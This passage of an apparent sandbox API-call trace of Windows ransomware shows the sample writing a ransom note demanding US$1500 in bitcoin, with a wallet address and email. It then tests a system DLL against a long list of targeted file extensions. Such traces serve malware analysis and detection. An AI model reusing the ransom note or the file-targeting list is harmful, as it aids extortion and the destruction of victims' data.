lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\" [0104.667] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\") returned="" [0104.667] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\HOW TO DECRYPT FILES.txt" [0104.667] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\srpuxsnapin\\593c2939737f10fc236c7b4de35271bc\\how to decrypt files.txt")) returned 0xffffffff [0104.667] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\srpuxsnapin\\593c2939737f10fc236c7b4de35271bc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.668] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.668] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.670] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.670] CloseHandle (hObject=0x90) returned 1 [0104.670] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\", lpString2="SrpUxSnapIn.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll" [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.ems") returned 0 [0104.670] lstrlenA (lpString="*.ems") returned 5 [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.db") returned 0 [0104.670] lstrlenA (lpString="*.db") returned 4 [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.dbf") returned 0 [0104.670] lstrlenA (lpString="*.dbf") returned 5 [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.myox") returned 0 [0104.670] lstrlenA (lpString="*.myox") returned 6 [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.myo") returned 0 [0104.670] lstrlenA (lpString="*.myo") returned 5 [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qbw") returned 0 [0104.670] lstrlenA (lpString="*.qbw") returned 5 [0104.670] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qbb") returned 0 [0104.671] lstrlenA (lpString="*.qbb") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qbm") returned 0 [0104.671] lstrlenA (lpString="*.qbm") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qbo") returned 0 [0104.671] lstrlenA (lpString="*.qbo") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qbx") returned 0 [0104.671] lstrlenA (lpString="*.qbx") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qba") returned 0 [0104.671] lstrlenA (lpString="*.qba") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qby") returned 0 [0104.671] lstrlenA (lpString="*.qby") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qbj") returned 0 [0104.671] lstrlenA (lpString="*.qbj") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.ofx") returned 0 [0104.671] lstrlenA (lpString="*.ofx") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.qif") returned 0 [0104.671] lstrlenA (lpString="*.qif") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mye") returned 0 [0104.671] lstrlenA (lpString="*.mye") returned 5 [0104.671] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mbox") returned 0 [0104.672] lstrlenA (lpString="*.mbox") returned 6 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0104.672] lstrlenA (lpString="*.eml") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.pst") returned 0 [0104.672] lstrlenA (lpString="*.pst") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.ost") returned 0 [0104.672] lstrlenA (lpString="*.ost") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.idx") returned 0 [0104.672] lstrlenA (lpString="*.idx") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.dbx") returned 0 [0104.672] lstrlenA (lpString="*.dbx") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.sql") returned 0 [0104.672] lstrlenA (lpString="*.sql") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mdb") returned 0 [0104.672] lstrlenA (lpString="*.mdb") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.fdb") returned 0 [0104.672] lstrlenA (lpString="*.fdb") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.wab") returned 0 [0104.672] lstrlenA (lpString="*.wab") returned 5 [0104.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.dat") returned 0 [0104.673] lstrlenA (lpString="*.dat") returned 5 [0104.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.txt") returned 0 [0104.673] lstrlenA (lpString="*.txt") returned 5 [0104.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.jpeg") returned 0 [0104.673] lstrlenA (lpString="*.jpeg") returned 6 [0104.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.jpg") returned 0 [0104.673] lstrlenA (lpString="*.jpg") returned 5 [0104.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.png") returned 0 [0104.673] lstrlenA (lpString="*.png") returned 5 [0104.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.php") returned 0 [0104.674] lstrlenA (lpString="*.php") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.cs") returned 0 [0104.674] lstrlenA (lpString="*.cs") returned 4 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.cpp") returned 0 [0104.674] lstrlenA (lpString="*.cpp") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.rar") returned 0 [0104.674] lstrlenA (lpString="*.rar") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.zip") returned 0 [0104.674] lstrlenA (lpString="*.zip") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.html") returned 0 [0104.674] lstrlenA (lpString="*.html") returned 6 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.htm") returned 0 [0104.674] lstrlenA (lpString="*.htm") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.xlsx") returned 0 [0104.674] lstrlenA (lpString="*.xlsx") returned 6 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.xls") returned 0 [0104.674] lstrlenA (lpString="*.xls") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mp4") returned 0 [0104.674] lstrlenA (lpString="*.mp4") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.ppt") returned 0 [0104.674] lstrlenA (lpString="*.ppt") returned 5 [0104.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.pptx") returned 0 [0104.675] lstrlenA (lpString="*.pptx") returned 6 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.doc") returned 0 [0104.675] lstrlenA (lpString="*.doc") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.dot") returned 0 [0104.675] lstrlenA (lpString="*.dot") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.docx") returned 0 [0104.675] lstrlenA (lpString="*.docx") returned 6 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.7z") returned 0 [0104.675] lstrlenA (lpString="*.7z") returned 4 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.tar") returned 0 [0104.675] lstrlenA (lpString="*.tar") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.bz2") returned 0 [0104.675] lstrlenA (lpString="*.bz2") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.gz") returned 0 [0104.675] lstrlenA (lpString="*.gz") returned 4 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mkv") returned 0 [0104.675] lstrlenA (lpString="*.mkv") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0104.675] lstrlenA (lpString="*.eml") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.msg") returned 0 [0104.675] lstrlenA (lpString="*.msg") returned 5 [0104.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.edb") returned 0 [0104.676] lstrlenA (lpString="*.edb") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.accdb") returned 0 [0104.676] lstrlenA (lpString="*.accdb") returned 7 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.odb") returned 0 [0104.676] lstrlenA (lpString="*.odb") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.java") returned 0 [0104.676] lstrlenA (lpString="*.java") returned 6 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.asm") returned 0 [0104.676] lstrlenA (lpString="*.asm") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.pfx") returned 0 [0104.676] lstrlenA (lpString="*.pfx") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.pem") returned 0 [0104.676] lstrlenA (lpString="*.pem") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.p12") returned 0 [0104.676] lstrlenA (lpString="*.p12") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.gpg") returned 0 [0104.676] lstrlenA (lpString="*.gpg") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.vsd") returned 0 [0104.676] lstrlenA (lpString="*.vsd") returned 5 [0104.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.odg") returned 0 [0104.676] lstrlenA (lpString="*.odg") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.raw") returned 0 [0104.677] lstrlenA (lpString="*.raw") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.nef") returned 0 [0104.677] lstrlenA (lpString="*.nef") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.svg") returned 0 [0104.677] lstrlenA (lpString="*.svg") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.psd") returned 0 [0104.677] lstrlenA (lpString="*.psd") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.vmx") returned 0 [0104.677] lstrlenA (lpString="*.vmx") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.vmdk") returned 0 [0104.677] lstrlenA (lpString="*.vmdk") returned 6 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.vdi") returned 0 [0104.677] lstrlenA (lpString="*.vdi") returned 5 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.lay6") returned 0 [0104.677] lstrlenA (lpString="*.lay6") returned 6 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mpeg") returned 0 [0104.677] lstrlenA (lpString="*.mpeg") returned 6 [0104.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.djvu") returned 0 [0104.678] lstrlenA (lpString="*.djvu") returned 6 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.tiff") returned 0 [0104.678] lstrlenA (lpString="*.tiff") returned 6 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.backup") returned 0 [0104.678] lstrlenA (lpString="*.backup") returned 8 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.pdf") returned 0 [0104.678] lstrlenA (lpString="*.pdf") returned 5 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.cert") returned 0 [0104.678] lstrlenA (lpString="*.cert") returned 6 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.docm") returned 0 [0104.678] lstrlenA (lpString="*.docm") returned 6 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.xlsm") returned 0 [0104.678] lstrlenA (lpString="*.xlsm") returned 6 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.dwg") returned 0 [0104.678] lstrlenA (lpString="*.dwg") returned 5 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.nd") returned 0 [0104.678] lstrlenA (lpString="*.nd") returned 4 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.tlg") returned 0 [0104.678] lstrlenA (lpString="*.tlg") returned 5 [0104.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.lgb") returned 0 [0104.679] lstrlenA (lpString="*.lgb") returned 5 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mov") returned 0 [0104.679] lstrlenA (lpString="*.mov") returned 5 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.xdw") returned 0 [0104.679] lstrlenA (lpString="*.xdw") returned 5 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.ods") returned 0 [0104.679] lstrlenA (lpString="*.ods") returned 5 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.wav") returned 0 [0104.679] lstrlenA (lpString="*.wav") returned 5 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.mp3") returned 0 [0104.679] lstrlenA (lpString="*.mp3") returned 5 